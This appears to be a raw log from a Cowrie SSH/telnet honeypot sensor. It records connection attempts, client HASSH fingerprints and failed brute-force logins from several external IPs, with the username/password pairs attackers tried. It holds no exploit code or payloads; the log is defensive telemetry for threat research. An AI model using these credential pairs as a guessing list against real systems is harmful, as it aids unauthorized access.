{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:05.093880Z","src_ip":"141.11.88.14","session":"706e3661ddf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@","message":"login attempt [root/123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:05.678560Z","src_ip":"141.11.88.14","session":"706e3661ddf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:06.770318Z","src_ip":"141.11.88.14","session":"706e3661ddf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39778,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d07d0bb322","protocol":"telnet","message":"New connection: 128.199.8.54:39778 (159.203.135.109:23) [session: 84d07d0bb322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:11.750663Z"}
{"eventid":"cowrie.session.closed","duration":0.004589557647705078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:11.755099Z","src_ip":"128.199.8.54","session":"84d07d0bb322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e903c84c0d1","protocol":"ssh","message":"New connection: 141.11.88.14:33838 (10.17.0.5:22) [session: 0e903c84c0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:12.438780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:12.444431Z","src_ip":"141.11.88.14","session":"0e903c84c0d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:12.539691Z","src_ip":"141.11.88.14","session":"0e903c84c0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:13.254087Z","src_ip":"141.11.88.14","session":"0e903c84c0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:14.356507Z","src_ip":"141.11.88.14","session":"0e903c84c0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.53101110458374,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:17.465176Z","src_ip":"128.199.8.54","session":"ad9bea3d4ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21726,"dst_ip":"10.17.0.5","dst_port":22,"session":"a17cd50dcb4b","protocol":"ssh","message":"New connection: 141.11.88.14:21726 (10.17.0.5:22) [session: a17cd50dcb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:19.239585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:19.341630Z","src_ip":"141.11.88.14","session":"a17cd50dcb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:19.349551Z","src_ip":"141.11.88.14","session":"a17cd50dcb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yzfr1@2011","message":"login attempt [root/yzfr1@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:20.282215Z","src_ip":"141.11.88.14","session":"a17cd50dcb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:21.373063Z","src_ip":"141.11.88.14","session":"a17cd50dcb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46530,"dst_ip":"159.203.135.109","dst_port":23,"session":"eace8d32a7e4","protocol":"telnet","message":"New connection: 128.199.8.54:46530 (159.203.135.109:23) [session: eace8d32a7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:22.701218Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21770,"dst_ip":"10.17.0.5","dst_port":22,"session":"997fa0923031","protocol":"ssh","message":"New connection: 141.11.88.14:21770 (10.17.0.5:22) [session: 997fa0923031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:26.183580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:26.349539Z","src_ip":"141.11.88.14","session":"997fa0923031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:26.353217Z","src_ip":"141.11.88.14","session":"997fa0923031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37368,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d8a64f34f2c","protocol":"ssh","message":"New connection: 197.5.145.150:37368 (10.17.0.5:22) [session: 8d8a64f34f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:27.108925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:27.114052Z","src_ip":"197.5.145.150","session":"8d8a64f34f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:27.228598Z","src_ip":"197.5.145.150","session":"8d8a64f34f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:27.505917Z","src_ip":"141.11.88.14","session":"997fa0923031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paid","password":"paid","message":"login attempt [paid/paid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:27.710603Z","src_ip":"197.5.145.150","session":"8d8a64f34f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:28.825694Z","src_ip":"197.5.145.150","session":"8d8a64f34f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:28.853529Z","src_ip":"141.11.88.14","session":"997fa0923031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":27816,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4ad672559e","protocol":"ssh","message":"New connection: 177.85.247.230:27816 (10.17.0.5:22) [session: fe4ad672559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:28.933565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:28.942069Z","src_ip":"177.85.247.230","session":"fe4ad672559e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:29.048614Z","src_ip":"177.85.247.230","session":"fe4ad672559e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:29.497154Z","src_ip":"177.85.247.230","session":"fe4ad672559e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:30.605585Z","src_ip":"177.85.247.230","session":"fe4ad672559e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5365aca09016","protocol":"ssh","message":"New connection: 141.11.88.14:44918 (10.17.0.5:22) [session: 5365aca09016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:32.677922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:32.822627Z","src_ip":"141.11.88.14","session":"5365aca09016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:32.826814Z","src_ip":"141.11.88.14","session":"5365aca09016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:33.308476Z","src_ip":"141.11.88.14","session":"5365aca09016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:34.391741Z","src_ip":"141.11.88.14","session":"5365aca09016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.732285022735596,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:38.012738Z","src_ip":"128.199.8.54","session":"d29786846f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e14ba69f39f","protocol":"ssh","message":"New connection: 103.143.231.24:53742 (10.17.0.5:22) [session: 4e14ba69f39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:39.918164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:39.922780Z","src_ip":"103.143.231.24","session":"4e14ba69f39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:39.993028Z","src_ip":"103.143.231.24","session":"4e14ba69f39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1","message":"login attempt [root/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:40.313369Z","src_ip":"103.143.231.24","session":"4e14ba69f39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41146,"dst_ip":"10.17.0.5","dst_port":22,"session":"0898fbbaaae3","protocol":"ssh","message":"New connection: 141.11.88.14:41146 (10.17.0.5:22) [session: 0898fbbaaae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:41.258456Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:41.387464Z","src_ip":"103.143.231.24","session":"4e14ba69f39f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:41.422295Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
